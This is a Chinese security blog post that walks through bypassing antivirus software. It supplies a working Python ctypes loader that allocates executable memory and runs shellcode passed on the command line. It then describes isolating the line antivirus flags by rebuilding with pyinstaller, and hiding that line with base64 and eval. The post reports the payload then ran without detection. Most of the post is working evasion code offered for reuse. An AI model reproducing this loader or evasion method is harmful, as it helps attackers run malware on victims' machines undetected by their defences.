bypass AV 探索一

阅读量303690

|

发布时间 : 2021-01-20 16:30:42

 

前言

Bypass AV一直都是安全安全圈的热门话题,之前多少也有过接触,由于用不到,就没怎么关注。这次刚好趁假期,来研究研究。(由于很多名词网上解释很多,本文只作记录,故不多加解释)

 

Base编写

关于Bypass AV常听说几个名词:分离免杀、源码免杀。所谓分离免杀,就是shellcode和加载器分开。源码免杀是从源代码层面免杀。
分离的话,直接把shellcode当作参数带入即可。我个人更擅长python一些,所以就利用python语言来Bypass。
从网上找到一个最基础的loader
loader_3.py

# coding: utf-8

import ctypes
import sys

#(kali生成payload存放位置)
shellcode = bytearray(bytes.fromhex(sys.argv[1]))

# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

对copy的代码稍作更改,改为从参数获取shellcode,经测试功能可行,不过直接被AV拦截。

 

Bypass 探索

基础版本测试可用,下面就针对源码进行免杀探索。
我这里采用了一种比较笨的办法,一行一行测试,找出特征码:
只保留第一行,其他行注释掉,然后打包

pyinstaller loader_3.py -F
打包后扫描,正常

直到测试到第四行,开始报毒

注释掉这行,其他全部放开,打包后正常,不再报毒。那么接下来就需要对第四行代码尽心进一步免杀了。
常用的办法是对这块代码进行base64加密,然后再解密,通过eval函数来执行:

string = b"base64密文"
eval(str(base64.b64decode(string),'utf-8'))

最终,第四行改为这样

 

上线

基本够用。

 

参考

https://cloud.tencent.com/developer/article/1621172

本文由langke原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/227691

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
langke
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66